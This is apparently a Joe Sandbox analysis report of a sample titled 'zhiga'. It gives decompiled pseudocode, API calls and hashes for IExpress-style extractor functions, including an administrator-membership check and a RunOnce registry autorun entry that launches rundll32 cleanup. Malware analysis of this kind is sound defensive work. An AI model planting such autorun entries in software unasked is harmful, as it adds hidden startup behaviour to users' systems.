
RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 010922A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000000,?,?,00000001), ref: 010922D8
memset.MSVCRT ref: 010922F5
GetSystemDirectoryA.KERNEL32 ref: 01092305
RegSetValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 0109236E
RegCloseKey.ADVAPI32(?), ref: 0109237A

Strings

wextract_cleanup1, xrefs: 0109227C, 010922CD, 01092363
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 0109232D
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 01092299
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 01092321

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup1
API String ID: 3027380567-1226499438
Opcode ID: 366f73fca01500649c3cabf941a0f4d39777a8601195aa126cdd65873d70e6da
Instruction ID: 4abd9eeee0fb61aa230870ec496d27dde95f4e84f3e9659127ec265462b9a332
Opcode Fuzzy Hash: 366f73fca01500649c3cabf941a0f4d39777a8601195aa126cdd65873d70e6da
Instruction Fuzzy Hash: 0531D471A00218BBDF719A65DC59FEA7B7CEB55740F0040EAB58DEA100EA71AB88DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01093100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E01093100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0x1098590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0x1098590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E010943D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0x1098d4c);
					SetWindowTextA(_t33, "zhiga");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0x10988b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E010930C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x01093108
0x0109310b
0x010931b7
0x010931ca
0x010931d0
0x010931d0
0x010931da
0x00000000
0x010931da
0x01093111
0x01093114
0x01093136
0x01093136
0x01093138
0x0109313b
0x01093141
0x00000000
0x01093143
0x01093116
0x0109311b
0x0109314b
0x01093151
0x01093158
0x0109316a
0x01093176
0x0109317d
0x0109318b
0x0109319e
0x010931a3
0x00000000
0x010931ad
0x01093120
0x00000000
0x00000000
0x0109312a
0x01093134
0x00000000
0x00000000
0x00000000
0x01093134
0x0109312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 0109313B
GetDesktopWindow.USER32 ref: 0109314B
SetDlgItemTextA.USER32(?,00000834), ref: 0109316A
SetWindowTextA.USER32(?,zhiga), ref: 01093176
SetForegroundWindow.USER32(?), ref: 0109317D
GetDlgItem.USER32(?,00000834), ref: 01093185
GetWindowLongA.USER32(00000000,000000FC), ref: 01093190
SetWindowLongA.USER32(00000000,000000FC,010930C0), ref: 010931A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 010931CA

Strings

zhiga, xrefs: 01093170

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: zhiga
API String ID: 3785188418-3705506974
Opcode ID: 2d1496c58ec6c3f956cb86beb89a3ee71ce1b1e2f15a2b7fd64b9722a52b8714
Instruction ID: e1697d3895e6d2b9e0a05c61576a794e18c6062ede8088f7bfc9fafadd95cdaf
Opcode Fuzzy Hash: 2d1496c58ec6c3f956cb86beb89a3ee71ce1b1e2f15a2b7fd64b9722a52b8714
Instruction Fuzzy Hash: 0F11E4B1208221FBDF315F389C2CB5A3AB4FB4A720F004211F9E1DA1E4D77A8141EB41

Uniqueness

Uniqueness Score: -1.00%

Function 010918A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E010918A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0x1098004; // 0x8a9c601
				_v8 = _t23 ^ _t53;
				_t25 =  *0x1098128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E01096CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E010917EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0x1098128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0x1098128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x010918a3
0x010918a3
0x010918ab
0x010918b2
0x010918b5
0x010918be
0x010918c0
0x010918c6
0x010918c7
0x010918ca
0x010918cf
0x010919c9
0x010919d8
0x010919d8
0x010918df
0x010919b8
0x010919bd
0x010919bf
0x010919bf
0x00000000
0x010919bd
0x010918fa
0x00000000
0x00000000
0x01091912
0x010919aa
0x010919ad
0x010919b3
0x00000000
0x01091927
0x01091927
0x01091932
0x01091936
0x010919a9
0x010919a9
0x00000000
0x010919a9
0x0109194c
0x010919a2
0x010919a3
0x00000000
0x0109196e
0x01091970
0x01091999
0x0109199c
0x00000000
0x0109199c
0x01091972
0x01091972
0x01091975
0x01091984
0x01091985
0x0109198a
0x00000000
0x00000000
0x00000000
0x0109198c
0x01091991
0x01091996
0x00000000
0x01091996
0x0109194c

APIs

Part of subcall function 010917EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,010918DD), ref: 0109181A
Part of subcall function 010917EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0109182C
Part of subcall function 010917EE: AllocateAndInitializeSid.ADVAPI32(010918DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,010918DD), ref: 01091855
Part of subcall function 010917EE: FreeSid.ADVAPI32(?,?,?,?,010918DD), ref: 01091883
Part of subcall function 010917EE: FreeLibrary.KERNEL32(00000000,?,?,?,010918DD), ref: 0109188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 010918EB
OpenProcessToken.ADVAPI32(00000000), ref: 010918F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 0109190A
GetLastError.KERNEL32 ref: 01091918
LocalAlloc.KERNEL32(00000000,?,?), ref: 0109192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 01091944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 01091964
EqualSid.ADVAPI32(00000004,?), ref: 0109197A
FreeSid.ADVAPI32(?), ref: 0109199C
LocalFree.KERNEL32(00000000), ref: 010919A3
CloseHandle.KERNEL32(?), ref: 010919AD

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: ed49103aabe69f881496f433c60f48381fd3ecb375ac60ee39cb4303919eb559
Instruction ID: 5787e26ae16e92a58864cf78317e60e3c605285875b1cd8b928698d50700a382
Opcode Fuzzy Hash: ed49103aabe69f881496f433c60f48381fd3ecb375ac60ee39cb4303919eb559
Instruction Fuzzy Hash: AD314871B0020AEBDF209FA9DCA8AAFBBBCFF45320B104469F685D2144D7369904DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0109468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0109468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x01094699
0x0109469b
0x010946a9
0x010946af
0x010946b4
0x010946bc
0x010946f9
0x00000000
0x010946f9
0x010946d9
0x010946dd
0x00000000
0x00000000
0x010946e5
0x010946ef
0x00000000
0x010946f5
0x010946ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946A0
SizeofResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946C3
LoadResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946CC
LockResource.KERNEL32(00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946D3
memcpy_s.MSVCRT ref: 010946E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010946EF

Strings

TITLE, xrefs: 0109469D, 010946C0
zhiga, xrefs: 010946E4

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$zhiga
API String ID: 3370778649-3314309
Opcode ID: 3f11eb1c4126bdf7246ab7979a009be430b2e013b224ffe52bbc22f07f17ff26
Instruction ID: 3ed2804da25d43a7191802758943849b8310e7fdd4c1a9b2bc8c9b65d39f65fc
Opcode Fuzzy Hash: 3f11eb1c4126bdf7246ab7979a009be430b2e013b224ffe52bbc22f07f17ff26
Instruction Fuzzy Hash: 1C01D672344210FBE73016A96D1DF2B3E6CEBC9B61F040054FBC9C7144C966884593E2

Uniqueness

Uniqueness Score: -1.00%

Function 010917EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E010917EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0x1098004; // 0x8a9c601
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0x109a288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E01096CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x010917f6
0x010917fd
0x01091805
0x0109180b
0x0109180d
0x01091815
0x01091818
0x01091820
0x01091824
0x0109182c
0x01091832
0x01091837
0x01091851
0x01091854
0x0109185d
0x01091862
0x0109186c
0x01091872
0x01091877
0x0109187e
0x0109187e
0x01091883
0x01091883
0x0109185d
0x0109188a
0x0109188a
0x010918a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,010918DD), ref: 0109181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0109182C
AllocateAndInitializeSid.ADVAPI32(010918DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,010918DD), ref: 01091855
FreeSid.ADVAPI32(?,?,?,?,010918DD), ref: 01091883
FreeLibrary.KERNEL32(00000000,?,?,?,010918DD), ref: 0109188A

Strings

CheckTokenMembership, xrefs: 01091826
advapi32.dll, xrefs: 01091810

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 9e1e01799e5408b81c36ecbf9465fa33ab96c7616a411c45f9072f3d2c89abf2
Instruction ID: bf718ba98bf00be11c8c1b436632ece16fee329975b3f8990ee91f4f0da010c0
Opcode Fuzzy Hash: 9e1e01799e5408b81c36ecbf9465fa33ab96c7616a411c45f9072f3d2c89abf2
Instruction Fuzzy Hash: 5A119371F0020AEBDB109FA4DC59ABFBBB8FF84710F1005A9FA51E7280DA359D009B90

Uniqueness

Uniqueness Score: -1.00%

Function 01093450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01093450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E010943D0(_t24, _t12);
					SetWindowTextA(_t24, "zhiga");
					SetDlgItemTextA(_t24, 0x838,  *0x1099404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0x10991dc = 1;
					goto L8;
				}
				return 0;
			}

0x01093459
0x0109345c
0x010934d8
0x010934de
0x00000000
0x010934e0
0x0109345e
0x01093463
0x0109349a
0x010934a0
0x010934a7
0x010934b2
0x010934c4
0x010934cb
0x00000000
0x010934cb
0x01093468
0x0109346e
0x01093474
0x00000000
0x00000000
0x0109347c
0x0109348c
0x01093490
0x00000000
0x01093496
0x01093484
0x00000000
0x00000000
0x01093486
0x00000000
0x01093486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 01093490
GetDesktopWindow.USER32 ref: 0109349A
SetWindowTextA.USER32(?,zhiga), ref: 010934B2
SetDlgItemTextA.USER32(?,00000838), ref: 010934C4
SetForegroundWindow.USER32(?), ref: 010934CB
EndDialog.USER32(?,00000002), ref: 010934D8

Strings

zhiga, xrefs: 010934AC

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: zhiga
API String ID: 852535152-3705506974
Opcode ID: c0b95ebff9a1eaa40981d0ca56fc0e7ec2e7c8d0113b0dc05a6a2609ed628b7f
Instruction ID: 281337913b2ebb06e049defe3b4ee487157e955c01406e7d7d5ffad90b028548
Opcode Fuzzy Hash: c0b95ebff9a1eaa40981d0ca56fc0e7ec2e7c8d0113b0dc05a6a2609ed628b7f
Instruction Fuzzy Hash: 9F019279340114ABDB265F79D83C96D3A64FB09750B024024FAD68A594CE36A941EF84

Uniqueness

Uniqueness Score: -1.00%

Function 01092AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E01092AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0x1098004; // 0x8a9c601
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0x1099a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E01091680(_t65, E010917C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E010965E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E01091680(_t65, E010917C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E01096CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x01092aac
0x01092ab7
0x01092abc
0x01092abe
0x01092ac3
0x01092ac6
0x01092ac9
0x01092ace
0x01092ae6
0x01092bdc
0x01092bdc
0x01092be0
0x00000000
0x00000000
0x01092af2
0x01092afc
0x01092b00
0x01092b05
0x01092b05
0x01092b0b
0x01092bca
0x01092bd1
0x01092b11
0x01092b18
0x01092b26
0x01092b99
0x01092bc8
0x00000000
0x00000000
0x01092b9b
0x01092bae
0x01092bb3
0x01092bb5
0x01092bb5
0x01092bb8
0x01092bb8
0x01092bba
0x01092bbb
0x00000000
0x01092bb8
0x01092b28
0x01092b2e
0x01092b33
0x01092b39
0x01092b3c
0x01092b3c
0x01092b3e
0x01092b3f
0x01092b55
0x01092b5d
0x01092b64
0x01092b64
0x01092b7a
0x01092b7f
0x01092b81
0x01092b81
0x01092b84
0x01092b84
0x01092b86
0x01092b87
0x01092bbf
0x01092bc1
0x01092bc1
0x01092b26
0x01092bda
0x01092bda
0x01092be6
0x01092be6
0x01092bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 01092AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 01092AF2
CharNextA.USER32(?), ref: 01092B12
CharUpperA.USER32 ref: 01092B1E
CharPrevA.USER32(?,?), ref: 01092B55
CharNextA.USER32(?), ref: 01092BD4

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: f1ea353f3a3312685601f240b84be1ddea901d70258c5a72ded2fcbb622f533d
Instruction ID: cf00678eb0da469cb9b006e70c537b4085f2da7c9efd8e9487753b0d4f57a337
Opcode Fuzzy Hash: f1ea353f3a3312685601f240b84be1ddea901d70258c5a72ded2fcbb622f533d
Instruction Fuzzy Hash: E7412A74604146AFDF669F38D874AFD7BE9AF56350F1400DAD8C283242DB3A4A46DB90

Uniqueness

Uniqueness Score: -1.00%

Function 010943D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E010943D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0x1098004; // 0x8a9c601
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E01096CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x010943d0
0x010943d8
0x010943df
0x010943e6
0x010943ec
0x010943f1
0x01094400
0x01094403
0x0109440b
0x01094420
0x01094429
0x01094437
0x01094444
0x01094447
0x0109444d
0x01094454
0x0109445b
0x01094460
0x01094461
0x01094467
0x0109446f
0x01094473
0x01094473
0x01094463
0x01094463
0x01094463
0x0109447a
0x01094481
0x01094484
0x0109448a
0x01094492
0x01094496
0x01094496
0x01094486
0x01094486
0x01094486
0x010944b8

APIs

GetWindowRect.USER32(?,?), ref: 010943F1
GetWindowRect.USER32(00000000,?), ref: 0109440B
GetDC.USER32(?), ref: 01094423
GetDeviceCaps.GDI32(00000000,00000008), ref: 0109442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0109443A
ReleaseDC.USER32(?,00000000), ref: 01094447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 010944A2

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: dc30fffb3ec68c1e6b1d8c12eb1600953910e4222285b24b919089ce825df7c6
Instruction ID: 63a50890fbd669083e619dc79c36a1a7e2245b518553e0a8459fe5af29dc5075
Opcode Fuzzy Hash: dc30fffb3ec68c1e6b1d8c12eb1600953910e4222285b24b919089ce825df7c6
